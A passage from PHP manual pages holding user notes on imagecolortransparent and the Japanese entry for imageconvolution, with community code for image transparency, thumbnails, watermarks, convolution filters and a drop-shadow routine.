    $transparent_new = ImageColorAllocate( $img_resized, $transparent_color['red'], $transparent_color['green'], $transparent_color['blue'] );
    $transparent_new_index = ImageColorTransparent( $img_resized, $transparent_new );
    ImageFill( $img_resized, 0,0, $transparent_new_index ); /* don't forget to fill the new image with the transparent color */
}
list($w,$h) = GetImageSize($f); /* defines the original width $w and height $h */
if( ImageCopyResized( $img_resized, $img, 0,0, 0,0, $nw,$nh, $w,$h ) ) /* resized copying and replacing the original image */
{
    ImageDestroy($img);
    $img = $img_resized;
}

/* ... */

header('Content-Type: image/gif');
ImageGIF($img);
ImageDestroy($img);
?>

P.S.
If there some errors, I hope you could understood the idea.
admin at fastproxyservers dot org 30-Sep-2010 09:00
I would like to share with others how to make PNG image transparent. I have tried almost all examples described on that page but none of them work for me. Finally I found the solution, but there is a bit cheating :) but who cares if it works?

So when I tried to allocate white (as an example) color as a transparent, it worked randomly (lets say 1 in 10 examples). That in turn pushed me to the idea that the problem is that white color is already exist in color palette. So if I try to add another white color with DIFFERENT index as a transparent, that will cause error.

So I found the solution, instead of adding new index, I searched for the white color's index in the color palette and made it defined as transparent :) The best idea is to use not a white but left bottom corner as transparent color (I guess that s standard for some other software languages).

<?php
$index = imagecolorexact($this->image, 255, 255, 255);
imagecolortransparent($this->image, $index);
?>

All you need is to add that two lines before outputting your result.
ajamal 22-May-2009 06:06
This might be of importance to newbies...If you are trying to create GIF's with transparencies, stick to the 216 colour pallet for all colours on the image... or transparencies wont work...at the very least yo will get dithering...
markglibres at yahoo dot com 29-Mar-2009 06:48
I've made a very simple script that will retain transparency of images especially when resizing.

NOTE: Transparency is only supported on GIF and PNG files.

Parameters:

$new_image = image resource identifier such as returned by imagecreatetruecolor(). must be passed by reference
$image_source = image resource identifier returned by imagecreatefromjpeg, imagecreatefromgif and imagecreatefrompng. must be passed by reference

<?php
function setTransparency($new_image,$image_source)
    {

            $transparencyIndex = imagecolortransparent($image_source);
            $transparencyColor = array('red' => 255, 'green' => 255, 'blue' => 255);

            if ($transparencyIndex >= 0) {
                $transparencyColor    = imagecolorsforindex($image_source, $transparencyIndex);
            }

            $transparencyIndex    = imagecolorallocate($new_image, $transparencyColor['red'], $transparencyColor['green'], $transparencyColor['blue']);
            imagefill($new_image, 0, 0, $transparencyIndex);
             imagecolortransparent($new_image, $transparencyIndex);

    }
?>

Sample Usage: (resizing)

<?php
$image_source = imagecreatefrompng('test.png');
$new_image = imagecreatetruecolor($width, $height);
setTransparency($new_image,$image_source);
imagecopyresampled($new_image, $image_source, 0, 0, 0, 0, $new_width, $new_height, $old_width, $old_height);
?>
steved at HaHaHa dot com dot au 24-Oct-2008 10:28
How to center your text both vertically and horizontally in a GD image:

<?php
//get box size
$box = imagettfbbox($titlesize, 0, $titlefont, $title);

//Find out the width and height of the text box
$textW = $box[2] - $box[0];
$textH = $box[5] - $box[3];

// Calculate the positions
$positionLeft = ($width - $textW)/2;
$positionTop = (($height - $textH)/2);

// Add some text
if($align=="center"){
imagettftext($pic, size, angle, $positionLeft, $positionTop, colour, font, message);
?>
cca220v 11-Sep-2008 02:47
I found out the hard way that for two png's with alpha transparency to correctly stack you need to explicitly re-enable alpha blending.

$img=imagecreatetruecolor($dx,$dy);
$img1=imagecreatefrompng($png1); //first layer
$img2=imagecreatefrompng($png2); //second layer (smaller image)

imagealphablending($img, false);
$transparent = imagecolorallocatealpha($img, 0, 0, 0, 127);
imagefill($img, 0, 0, $transparent);
imagesavealpha($img,true);
imagealphablending($img, true); //removing this causes the second layer's transparency to go trough the 1st layer erasing it (the image >is< transparent there ... as is the 2nd layer ... but not the 1st so it should not be transparent)

imagecopyresampled($img,$img1,
imagecopyresampled($img,$img2,
yousuf at philipz dot com 01-Apr-2008 11:45
Well 8-bit gif and png files can have multiple transparent colors, so detecting the transparent color by manually looking into the file or using imagecolortransparent and using the detected rgb color as the background color when imagecopy'ing (or other image copying functions) on a true color image will not work. The only means of getting the transparent pixels to appear is to copy the pixel colors one by one to a new true color image. Here's some code i wrote to do this.

$original_image = @imagecreatefromgif( $original_image_file );

$original_image_width = imagesx( $original_image );
$original_image_height = imagesy( $original_image );

if ( !imageistruecolor($original_image) ) {
   # detects if its non-true color image
   if ( imagecolortransparent($original_image) >= 0 ) {
      # detects if any of the color palette has been set to transparent
      $truecolor = imagecreatetruecolor( $original_image_width, $original_image_height );
      for ($x = 0; $x < $original_image_width; $x++) {
         for ($y = 0; $y < $original_image_height; $y++) {
            $color_index = ImageColorAt($original_image, $x, $y);
            if ( !$color_palette[$color_index] ) {
               $rgb = imagecolorsforindex($original_image, $color_index);
               $color_to_set = imagecolorallocate($truecolor, $rgb['red'], $rgb['green'], $rgb['blue']);
               $color_palette[$color_index] = $color_to_set;
            } else {
               $color_to_set = $color_palette[$color_index];
            }
            imagesetpixel($truecolor, $x, $y, $color_to_set);
         }
      }
      imagedestroy($original_image);
      $original_image = $truecolor;
   }
}
kroccamen, gmail 27-Mar-2008 05:56
Sorry, below should be:

<?php
$is_alpha = ord (file_get_contents ($file_path, false, null, 25, 1)) & 4;
?>

much better :)
Both types 4 (greyscale transparent png), and 6 (colour transparent png) have bit 4 set, so there's no need to bitwise twice and there's no need for == as the return value will be 4 or 0, which is easily interpreted as true or false elsewhere in your code.

note: file_get_contents isn't reading the whole file in this instance, just 1 byte on its own and that's it, so you can be assured this is fast and safe.
kroccamen, gmail 25-Mar-2008 04:44
@wesley gunn:
Thank you very, very much for the code to determine if a PNG is 24 or 32-bit :)
Here's an improved version in one line without using a file-handle

<?php
$is_alpha = ((ord (
    file_get_contents ($filename, false, null, 25, 1)
) & 6) & 4) == 4;
?>

Gives true for a PNG with alpha, false otherwise.
This cannot detect 8-bit PNGs with transparency, but you could do that by searching the file contents for the presence of "PLTE" *AND* "tRNS".
tomas at cimax dot com 10-Mar-2008 12:19
On some versions you must set the index number of that color in color pallete rather than the color! So if you allocate color with imagecolorallocate, that this color gets 0 index on color pallete so than you must call: imagecolortransparent ( resource $image , 0 ) to make the image transparent!
fmkaiba at optonline dot net 07-Feb-2008 08:05
This is my 'perfect' (i use that word lightly) thumbnail generation script, switch '$transparency' to true to have it do its best to handle transparency in gifs and pngs. this code is built off of comments and advice of everyone else here, and i do not deserve full credit. So far this handles every error i can throw at it.
<?php
function createthumb($name, $newname, $new_w, $new_h, $border=false, $transparency=true, $base64=false) {
    if(file_exists($newname))
        @unlink($newname);
    if(!file_exists($name))
        return false;
    $arr = split("\.",$name);
    $ext = $arr[count($arr)-1];

    if($ext=="jpeg" || $ext=="jpg"){
        $img = @imagecreatefromjpeg($name);
    } elseif($ext=="png"){
        $img = @imagecreatefrompng($name);
    } elseif($ext=="gif") {
        $img = @imagecreatefromgif($name);
    }
    if(!$img)
        return false;
    $old_x = imageSX($img);
    $old_y = imageSY($img);
    if($old_x < $new_w && $old_y < $new_h) {
        $thumb_w = $old_x;
        $thumb_h = $old_y;
    } elseif ($old_x > $old_y) {
        $thumb_w = $new_w;
        $thumb_h = floor(($old_y*($new_h/$old_x)));
    } elseif ($old_x < $old_y) {
        $thumb_w = floor($old_x*($new_w/$old_y));
        $thumb_h = $new_h;
    } elseif ($old_x == $old_y) {
        $thumb_w = $new_w;
        $thumb_h = $new_h;
    }
    $thumb_w = ($thumb_w<1) ? 1 : $thumb_w;
    $thumb_h = ($thumb_h<1) ? 1 : $thumb_h;
    $new_img = ImageCreateTrueColor($thumb_w, $thumb_h);

    if($transparency) {
        if($ext=="png") {
            imagealphablending($new_img, false);
            $colorTransparent = imagecolorallocatealpha($new_img, 0, 0, 0, 127);
            imagefill($new_img, 0, 0, $colorTransparent);
            imagesavealpha($new_img, true);
        } elseif($ext=="gif") {
            $trnprt_indx = imagecolortransparent($img);
            if ($trnprt_indx >= 0) {
                //its transparent
                $trnprt_color = imagecolorsforindex($img, $trnprt_indx);
                $trnprt_indx = imagecolorallocate($new_img, $trnprt_color['red'], $trnprt_color['green'], $trnprt_color['blue']);
                imagefill($new_img, 0, 0, $trnprt_indx);
                imagecolortransparent($new_img, $trnprt_indx);
            }
        }
    } else {
        Imagefill($new_img, 0, 0, imagecolorallocate($new_img, 255, 255, 255));
    }

    imagecopyresampled($new_img, $img, 0,0,0,0, $thumb_w, $thumb_h, $old_x, $old_y);
    if($border) {
        $black = imagecolorallocate($new_img, 0, 0, 0);
        imagerectangle($new_img,0,0, $thumb_w, $thumb_h, $black);
    }
    if($base64) {
        ob_start();
        imagepng($new_img);
        $img = ob_get_contents();
        ob_end_clean();
        $return = base64_encode($img);
    } else {
        if($ext=="jpeg" || $ext=="jpg"){
            imagejpeg($new_img, $newname);
            $return = true;
        } elseif($ext=="png"){
            imagepng($new_img, $newname);
            $return = true;
        } elseif($ext=="gif") {
            imagegif($new_img, $newname);
            $return = true;
        }
    }
    imagedestroy($new_img);
    imagedestroy($img);
    return $return;
}
//example useage
createthumb("img.gif", "tn_img.gif", 64,64,true, true, false);
?>
wesley dot gunn at email dot it 13-Nov-2007 09:27
a simple way to check png with alpha channel reading IHDR PNG HEADER

$readPng =    fopen    ($argSourceImagePath, "rb");
$readAlp =    fread    ($readPng, 52);
            fclose    ($readPng);

if(substr(bin2hex($readAlp),50,2) == "04" || substr(bin2hex($readAlp),50,2) == "06")
echo("Png has alpha");
Mikasto 15-Aug-2007 04:53
To resize transparent PNG (if image is transparent & ImageColorTransparent() returns -1):
1) create a new image with the new sizes
2) make the new image all transparent
3) turn off the alpha blending for the new image (to keep the alpha channel when copy data)
4) do copyresampled or copyresized into new image

PHP code:
// 1
$im2 = ImageCreateTrueColor($w, $h);
// 2
ImageColorTransparent($im2, ImageColorAllocate($im2, 0, 0, 0));
// 3
ImageAlphaBlending($im2, false);
// 4
ImageCopyResampled($im2, $im, 0, 0, 0, 0, $w, $h, ImageSX($im), ImageSY($im));
erik at vectorsector dot net 13-Jul-2007 09:20
This script creates transparency for a unspecific RBG color for an already created PNG image.  It also includes script of overlay text that does not get ruined in the process.

<?php

header("Content-type: image/png");
$image = imagecreatetruecolor(250, 250);
$string = $_GET['text'];
$im     = imagecreatefrompng("dynIcon.png");
$img = imagecreatetruecolor(16,16);
$orange = imagecolorallocate($im, 220, 210, 60);
$bg_color = imagecolorat($im,1,1);
$px     = (imagesx($im) - 3 * strlen($string)) / 2;
imagecolortransparent($im, $bg_color);
imagestring($im, 3, $px, 5, $string, $orange);
imagepng($im);
imagedestroy($im);

?>

Use $bg_color = imagecolorat($im,1,1); for instance, if you made the transparent color in photoshop by clearing out all the color leaving you with the checkered background showing you it's empty.
cinymini 14-Dec-2006 11:17
When you use palette images (created with imagecreate()), the first color allocated is the background color. This color cannot be used for transparency. So if you want to make the background transparent, first allocate a dummy background color, then allocate the real background color and declare this is as transparent.
glenn at bengeweb dot co dot nz 17-Nov-2006 08:03
in reference to webmaster at webnetwizard dotco dotuk who had a rather complicated method of determining if a GIF had any transparency set ...

imagecolortransparent will return -1 if no transparency is found.

eg:

$transColorIndexMain = imageColorTransparent($mainImgObj);
if ($transColorIndexMain >= 0 ) {
       # GIF has transparency ... ;
}

Current PHP Version: 4.4.4
[GD Version] => bundled (2.0.28 compatible)
ingrid 09-Jun-2005 09:37
This script should take an animated GIF whit a white background transparancy, put some white=transparant text on it, and can be used in any page using the filename and the normal image tags.

Everything works well, exept the animation. The GIF animation stands still. Don't know how to keep the animation  animated. Is it possible in PHP?

<?php

$TextFile = "teller.txt";
$Count = trim(file_get_contents($TextFile));
$FP = fopen($TextFile, "r");
$Count=fgets($FP, 4096);
fclose ($FP);
settype($Count, "integer");
$Count++;
if ($FP = fopen ($TextFile, "w")){
fwrite ($FP, $Count);
fclose ($FP);
}

$image = "blad.gif";
$im    = imagecreatefromgif($image);
$white = imageColorAllocate ($im, 255, 255, 255);
$trans = imagecolortransparent($im,$white);
$hit = "$Count";
$ip = $_SERVER["REMOTE_ADDR"];

ImageString($im, 2, 30, 60,  " je bent bezoeker ", $white);
ImageString($im, 3, 20, 80, " $ip.$hit", $trans);

header("Content-Type: image/gif");
Imagegif($im,'',100);
ImageDestroy ($im);

?>
talkback at codesponge dot com 16-Mar-2005 03:41
Only one color may be transparent in one image.  The last call to imagecolortransparent will be the color that is set to transparent.

I am processing button images that have a slightly different fill color than the background color outside the border of the button. I was hoping that I could just make both of those colors transparent and solve the problem.

Hope this tidbit of info will save you some time.
webmaster at webnetwizard dotco dotuk 11-Jan-2005 06:09
After much devious mindbending, I have found a way to test any GIF for presence of background transparency. This ability is essential for my application which uploads any of GIF, JPEG or PNG and simultaneously creates a thumbnail of identical image type and identical filename (full size and thumbnail versions being stored in different folders).
After uploading and moving the image in the usual way, a switch($image_type) statement ensures that the optimum code is used to generate the thumbnail; regardless of image type.
The problem with the GIF type is that those with transparent backgrounds need to be treated differently to those without. When I don't detect GIF transparency, I either end up with all transparent GIF's having black backgrounds, or all GIF's get converted to transparent background - even if they weren't transparent in the original.
But how to detect transparency in the original? It finally occurred to me that I could test for transparency programmatically by overlaying a copy of the original image over an all-black image, record the color value at particular pixel locations and then repeat the process by overlaying a copy of the original image over an all-white image, recording the color values at identical pixel locations and comparing these with the first set of values.
If the two sets of values correlate exactly, and if sensible sampling points are used, the image can be treated as non-transparent. If the two sets of values show differences, the image should be treated as having a transparent background.
emilus at galeria-m dot art dot pl 30-Sep-2004 02:02
To resize or copy image (gif [with gd>=2.0.28] or png) with transparency.
-Take current transparency color
-create a new image with palette like old one and fill new image with transparent color
-set transparent color
-copy resized image

$colorTransparent = imagecolortransparent($im);
$im2 = imagecreate($new_w,$new_h);
imagepalettecopy($im2,$im);
imagefill($im2,0,0,$colorTransparent);
imagecolortransparent($im2, $colorTransparent);
imagecopyresized($im2,$im,0,0,0,0,$new_w,$new_h,$imsx,$imsy);
php_comment et 5mm de 27-Sep-2004 10:02
In fact this function can be used for two purposes:

A.) to work with transparency while dealing with images in php (see watermark example)

B.) to create a partially transparent picture

For A.) one can work with truecolor images with some regulations, but B.) can only be used with palette-based images (= indexed = created with imagecreate not imagecreatetruecolor) and formats that support transparency (png, gif).

For instance if you want to cut out a color out of a give picture that is in truecolor, use the following method to first convert it to palette-based image, assign the transparency and give it to the browser as png:

<?
$img = imagecreatefromjpeg('test.jpg');
imagetruecolortopalette($img, false, 256); // convert

$white = imagecolorresolve($img, 255, 255, 255); // resolve given palette entry
imagecolortransparent($img, $white);

header("Content-type: image/png");
imagepng($img);
?>
php at kybert dot com 14-Nov-2003 05:30
i had problems with the example by sandhawk at spies dot com because my png overlay, and the jpeg canvas were using different color depths, so, this function corrects this:

[code]
function WatermarkImage($CanvasImage, $WatermarkImage /* MUST BE PHG */, $Opacity=10, $Quality=75)
{
    // create true color canvas image:
    $canvas_src = imagecreatefromjpeg($CanvasImage);
    $canvas_w = ImageSX($canvas_src);
    $canvas_h = ImageSY($canvas_src);
    $canvas_img = imagecreatetruecolor($canvas_w, $canvas_h);
    imagecopy($canvas_img, $canvas_src, 0,0,0,0, $canvas_w, $canvas_h);
    imagedestroy($canvas_src);    // no longer needed

    // create true color overlay image:
    $overlay_src = imagecreatefrompng($WatermarkImage);
    $overlay_w = ImageSX($overlay_src);
    $overlay_h = ImageSY($overlay_src);
    $overlay_img = imagecreatetruecolor($overlay_w, $overlay_h);
    imagecopy($overlay_img, $overlay_src, 0,0,0,0, $overlay_w, $overlay_h);
    imagedestroy($overlay_src);    // no longer needed

    // setup transparent color (pick one):
    $black   = imagecolorallocate($overlay_img, 0x00, 0x00, 0x00);
    $white   = imagecolorallocate($overlay_img, 0xFF, 0xFF, 0xFF);
    $magenta = imagecolorallocate($overlay_img, 0xFF, 0x00, 0xFF);
    // and use it here:
    imagecolortransparent($overlay_img, $white);

    // copy and merge the overlay image and the canvas image:
    imagecopymerge($canvas_img, $overlay_img, 0,0,0,0, $overlay_w, $overlay_h, $Opacity);

    // output:
    header("Content-type: image/jpeg");
    imagejpeg($canvas_img, '', $Quality);

    imagedestroy($overlay_img);
    imagedestroy($canvas_img);
}

// call function with opcity set to 50% and 95% quality
WatermarkImage("canvas.jpg", "overlay.png", 50, 95);

[/code]
creator79>>web>>de 08-Oct-2003 06:44
Hi!
I'm using GDLib 1.6.3 so far I know.
You can have transparency on any defined color on any image type when using the imagecolorclosest($im, $R, $G, $B) function instead of imagecolorallocate() or imagecolorexact().
calar at gamigo dot de 01-Aug-2003 06:53
ok some works...

i had a test-sytem with GDLib, phpinfo shows me this version:
"GD Version  2.0 or higher" so far no porblems with: imageColorTransparent

Then we had to copy ouer codes to another sever on this server phpinfo shots me version:
"GD Version  bundled (2.0.12 compatible)"

The jpg was wrong and nothing was transparent.
The point is, you have to use: imagecopymerge

Don't if its true on any system just work on
SUSE 8.2
PHP 4.3.2
Jonatan 30-Dec-2002 10:35
I have found that ImageColorTransparent() works on true color images if and only if the transparent color is black.
(PHP 4.2.3/GD 2.0)


div および offset の係数を使用し、3x3 の畳み込み配列を適用する

  • ≪ imagecolortransparent
  • imagecopy ≫
  • PHP Manual
  • GD および Image 関数
  • div および offset の係数を使用し、3x3 の畳み込み配列を適用する

imageconvolution

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

imageconvolution — div および offset の係数を使用し、3x3 の畳み込み配列を適用する

説明

imageconvolution ( resource $image , array $matrix , float $div , float $offset ) : bool

画像に畳み込み配列を適用します。 指定した係数とオフセットを使用します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

matrix

3x3 の配列。三つの float 値からなる三つの配列の配列。

div

畳み込み結果の除数。正規化で使用します。

offset

色オフセット。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 PHP.net ロゴのエンボス加工

<?php
$image = imagecreatefromgif('http://www.php.net/images/php.gif');

$emboss = array(array(2, 0, 0), array(0, -1, 0), array(0, 0, -1));
imageconvolution($image, $emboss, 1, 127);

header('Content-Type: image/png');
imagepng($image, null, 9);
?>

上の例の出力は以下となります。

出力例 : PHP.net ロゴのエンボス加工

例2 ガウス分布のぼかし

<?php
$image = imagecreatetruecolor(180,40);

// テキストを書き、画像にガウス分布のぼかしを適用します
imagestring($image, 5, 10, 8, 'Gaussian Blur Text', 0x00ff00);
$gaussian = array(array(1.0, 2.0, 1.0), array(2.0, 4.0, 2.0), array(1.0, 2.0, 1.0));
imageconvolution($image, $gaussian, 16, 0);

// 比較用にもう一度テキストを書きます
imagestring($image, 5, 10, 18, 'Gaussian Blur Text', 0x00ff00);

header('Content-Type: image/png');
imagepng($image, null, 9);
?>

上の例の出力は以下となります。

出力例 : ガウス分布のぼかし

注意

この関数は GD 2.1.0 以降を必要とします。

参考

  • imagefilter() - 画像にフィルタを適用する

User Contributed Notes

magilvia 17-May-2011 01:36
Here's a good sharpen setting for thumbnail creation:

<?php
            $sharpenMatrix = array
            (
                array(-1.2, -1, -1.2),
                array(-1, 20, -1),
                array(-1.2, -1, -1.2)
            );

            // calculate the sharpen divisor
            $divisor = array_sum(array_map('array_sum', $sharpenMatrix));

            $offset = 0;

            // apply the matrix
            imageconvolution($img, $sharpenMatrix, $divisor, $offset);
?>
phunction.sf.net 15-May-2010 09:20
You don't need any custom function to calculate the $divisor of the $matrix, using array_map() and array_sum() does the trick:

<?php

$matrix = array
(
    array(-1, -1, -1),
    array(-1, 16, -1),
    array(-1, -1, -1),
);

$divisor = array_sum(array_map('array_sum', $matrix)); // 8

?>
fabien dot snauwaert at gmail dot com 07-Mar-2010 10:44
Normalization is necessary to keep the image balanced (else any filter may quickly turn the image almost completely black or white).

Here is a short, easy-to-use, class to handle normalization automatically and make for easier input of the 3x3 matrix:

The code respects the "array of three arrays" syntax for use with the imageconvolution() function and automatically calculates the necesarry divisor for normalization.

<?php

class ConvolutionFilter {
    public $matrix;
    public $div;

    public function computeDiv() {
        $this->div = array_sum ($this->matrix[0]) + array_sum ($this->matrix[1]) + array_sum ($this->matrix[2]);
    }

    function __construct() {
        $matrix = func_get_args();
        $this->matrix = array(    array($matrix[0], $matrix[1], $matrix[2]),
                                array($matrix[3], $matrix[4], $matrix[5]),
                                array($matrix[6], $matrix[7], $matrix[8])
                                );
        $this->computeDiv();
    }
}

?>

Example usage:

<?php

$gaussianFilter =    new ConvolutionFilter(    1.0,    2.0,    1.0,
                                             2.0,    3.0,    2.0,
                                             1.0,    2.0,    1.0        );
imageconvolution($image, $gaussianFilter->matrix, $gaussianFilter->div, 0);

?>

Some common filters:

<?php

$identityFilter =    new ConvolutionFilter(    0.0,    0.0,    0.0,
                                             0.0,    1.0,    0.0,
                                             0.0,    0.0,    0.0        );
$sharpenFilter =    new ConvolutionFilter(    0.0,    -1.0,    0.0,
                                             -1.0,    5.0,    -1.0,
                                             0.0,    -1.0,    0.0        );
$edgeFilter =        new ConvolutionFilter(    0.0,    1.0,    0.0,
                                             1.0,    -4.0,    1.0,
                                             0.0,    1.0,    0.0        );
$findEdgesFilter =    new ConvolutionFilter(    -1.0,    -1.0,    -1.0,
                                             -2.0,    8.0,    -1.0,
                                             -1.0,    -1.0,    -1.0        );

?>

Remember you can use imagefilter() for such basic needs but the above class will make it easier for you when you want to create your own filters.
Jase 13-Sep-2007 03:53
The comment below is an extremely good workaround

however, php did throw lots of warnings at me when i had error reporting set to E_ALL

this can be avoided with one line of code and no impact (as i can see) to the rest of the function

<?php
//include this file whenever you have to use imageconvolution...
//you can use in your project, but keep the comment below :)
//great for any image manipulation library
//Made by Chao Xu(Mgccl) 2/28/07
//www.webdevlogs.com
//V 1.0
if(!function_exists('imageconvolution')){
function imageconvolution($src, $filter, $filter_div, $offset){
    if ($src==NULL) {
        return 0;
    }

    $sx = imagesx($src);
    $sy = imagesy($src);
    $srcback = ImageCreateTrueColor ($sx, $sy);
    ImageCopy($srcback, $src,0,0,0,0,$sx,$sy);

    if($srcback==NULL){
        return 0;
    }

    #FIX HERE
    #$pxl array was the problem so simply set it with very low values
    $pxl = array(1,1);
    #this little fix worked for me as the undefined array threw out errors

    for ($y=0; $y<$sy; ++$y){
        for($x=0; $x<$sx; ++$x){
            $new_r = $new_g = $new_b = 0;
            $alpha = imagecolorat($srcback, $pxl[0], $pxl[1]);
            $new_a = $alpha >> 24;

            for ($j=0; $j<3; ++$j) {
                $yv = min(max($y - 1 + $j, 0), $sy - 1);
                for ($i=0; $i<3; ++$i) {
                        $pxl = array(min(max($x - 1 + $i, 0), $sx - 1), $yv);
                    $rgb = imagecolorat($srcback, $pxl[0], $pxl[1]);
                    $new_r += (($rgb >> 16) & 0xFF) * $filter[$j][$i];
                    $new_g += (($rgb >> 8) & 0xFF) * $filter[$j][$i];
                    $new_b += ($rgb & 0xFF) * $filter[$j][$i];
                }
            }

            $new_r = ($new_r/$filter_div)+$offset;
            $new_g = ($new_g/$filter_div)+$offset;
            $new_b = ($new_b/$filter_div)+$offset;

            $new_r = ($new_r > 255)? 255 : (($new_r < 0)? 0:$new_r);
            $new_g = ($new_g > 255)? 255 : (($new_g < 0)? 0:$new_g);
            $new_b = ($new_b > 255)? 255 : (($new_b < 0)? 0:$new_b);

            $new_pxl = ImageColorAllocateAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            if ($new_pxl == -1) {
                $new_pxl = ImageColorClosestAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            }
            if (($y >= 0) && ($y < $sy)) {
                imagesetpixel($src, $x, $y, $new_pxl);
            }
        }
    }
    imagedestroy($srcback);
    return 1;
}
}
?>
mgcclx at gmail dot com 28-Feb-2007 07:55
imageconvolution() does not appear in PHP with non-bundled GD libraries. It is a rare situation, but it still happens. That's why I wrote a replication of imageconvolution() in PHP. Compare to the post below, this one makes the use of offset and 30% faster.
Because it's written in PHP, it is 50 times slower than the bundled version.
Actually, this is a replication of gdimageconvolutaion() of GD library, it does not support data validating feature imageconvolution() have. But I guess people who uses this function knows their stuff.

THE SCRIPT:
<?php
//include this file whenever you have to use imageconvolution...
//you can use in your project, but keep the comment below :)
//great for any image manipulation library
//Made by Chao Xu(Mgccl) 2/28/07
//www.webdevlogs.com
//V 1.0
if(!function_exists('imageconvolution')){
function imageconvolution($src, $filter, $filter_div, $offset){
    if ($src==NULL) {
        return 0;
    }

    $sx = imagesx($src);
    $sy = imagesy($src);
    $srcback = ImageCreateTrueColor ($sx, $sy);
    ImageCopy($srcback, $src,0,0,0,0,$sx,$sy);

    if($srcback==NULL){
        return 0;
    }

    for ($y=0; $y<$sy; ++$y){
        for($x=0; $x<$sx; ++$x){
            $new_r = $new_g = $new_b = 0;
            $alpha = imagecolorat($srcback, $pxl[0], $pxl[1]);
            $new_a = $alpha >> 24;

            for ($j=0; $j<3; ++$j) {
                $yv = min(max($y - 1 + $j, 0), $sy - 1);
                for ($i=0; $i<3; ++$i) {
                        $pxl = array(min(max($x - 1 + $i, 0), $sx - 1), $yv);
                    $rgb = imagecolorat($srcback, $pxl[0], $pxl[1]);
                    $new_r += (($rgb >> 16) & 0xFF) * $filter[$j][$i];
                    $new_g += (($rgb >> 8) & 0xFF) * $filter[$j][$i];
                    $new_b += ($rgb & 0xFF) * $filter[$j][$i];
                }
            }

            $new_r = ($new_r/$filter_div)+$offset;
            $new_g = ($new_g/$filter_div)+$offset;
            $new_b = ($new_b/$filter_div)+$offset;

            $new_r = ($new_r > 255)? 255 : (($new_r < 0)? 0:$new_r);
            $new_g = ($new_g > 255)? 255 : (($new_g < 0)? 0:$new_g);
            $new_b = ($new_b > 255)? 255 : (($new_b < 0)? 0:$new_b);

            $new_pxl = ImageColorAllocateAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            if ($new_pxl == -1) {
                $new_pxl = ImageColorClosestAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            }
            if (($y >= 0) && ($y < $sy)) {
                imagesetpixel($src, $x, $y, $new_pxl);
            }
        }
    }
    imagedestroy($srcback);
    return 1;
}
}
?>
interghost at crovortex dot com 31-Mar-2006 11:26
an implementation of this function for PHP versions <5.1
<?php
if(!function_exists("imageconvolution"))
{
 function imageconvolution(&$img,$mat,$div,$off)
 {
   if(!imageistruecolor($img) || !is_array($mat) || count($mat)!=3 || count($mat[0])!=3 || count($mat[1])!=3 || count($mat[2])!=3) return FALSE;
   unset($bojainfo);
   for($nx=0;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=0;$ny<imagesy($img)-1;$ny++)
     {
        $rgb=imagecolorat($img,$nx,$ny);
        $bojainfo[$nx][$ny][r]=($rgb>>16)&0xFF;
        $bojainfo[$nx][$ny][g]=($rgb>>8)&0xFF;
        $bojainfo[$nx][$ny][b]=$rgb&0xFF;
     }
   }
   for($nx=1;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=1;$ny<imagesy($img)-1;$ny++)
     {
        $nr=$mat[0][0]*$bojainfo[$nx-1][$ny-1][r] + $mat[0][1]*$bojainfo[$nx][$ny-1][r] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][r] + $mat[1][0]*$bojainfo[$nx-1][$ny][r] + $mat[1][1]*$bojainfo[$nx][$ny][r] + $mat[1][2]*$bojainfo[$nx+1][$ny][r] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][r] + $mat[2][1]*$bojainfo[$nx][$ny+1][r] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][r];
        $nr=intval(round($nr/$div));
        if($nr<0) $nr=0;
        elseif($nr>255) $nr=255;
        $ng=$mat[0][0]*$bojainfo[$nx-1][$ny-1][g]  + $mat[0][1]*$bojainfo[$nx][$ny-1][g] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][g] + $mat[1][0]*$bojainfo[$nx-1][$ny][g] + $mat[1][1]*$bojainfo[$nx][$ny][g] + $mat[1][2]*$bojainfo[$nx+1][$ny][g] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][g] + $mat[2][1]*$bojainfo[$nx][$ny+1][g] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][g];
        $ng=intval(round($ng/$div));
        if($ng<0) $ng=0;
        elseif($ng>255) $ng=255;
        $nb=$mat[0][0]*$bojainfo[$nx-1][$ny-1][b] + $mat[0][1]*$bojainfo[$nx][$ny-1][b] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][b] + $mat[1][0]*$bojainfo[$nx-1][$ny][b] + $mat[1][1]*$bojainfo[$nx][$ny][b] + $mat[1][2]*$bojainfo[$nx+1][$ny][b] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][b] + $mat[2][1]*$bojainfo[$nx][$ny+1][b] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][b];
        $nb=intval(round($nb/$div));
        if($nb<0) $nb=0;
        elseif($nb>255) $nb=255;
        $nrgb=($nr<<16)+($ng<<8)+$nb;
        if(!imagesetpixel($img,$nx,$ny,$nrgb)) return FALSE;
     }
   }
   return TRUE;
  }
}
?>

it's a bit slowish so I wouldn't recommend big images, also offset is not implemented (don't know what it's suppose to do)
mlconnor at yahoo dot com 21-Mar-2006 09:00
I've seen many people come up with ways to do a drop shadow behind a rectangle such as a picture.  I haven't found one yet that was fast, PHP 4 complaint, and nice looking.  Here is one I came up with last night.  It takes an image, fills it with the background, and creates a blurred drop shadow at the specified coords using the colors and the distance offset specified.  It looks great!!!

  function blurRect(&$image, $distance, $rectX1, $rectY1, $rectX2, $rectY2, $shadowR, $shadowG, $shadowB, $backR, $backG, $backB) {

    $potentialOverlap = ($distance * 2) * ($distance * 2);

    $backgroundColor = imagecolorallocate($image, $backR, $backG, $backB);
    $shadowColor = imagecolorallocate($image, $shadowR, $shadowG, $shadowB);

    $imageWidth = imagesx($image);
    $imageHeight = imagesy($image);

    imageFilledRectangle($image, 0, 0, $imageWidth - 1, $imageHeight - 1, $backgroundColor);
    imageFilledRectangle($image, $rectX1, $rectY1, $rectX2, $rectY2, $shadowColor);

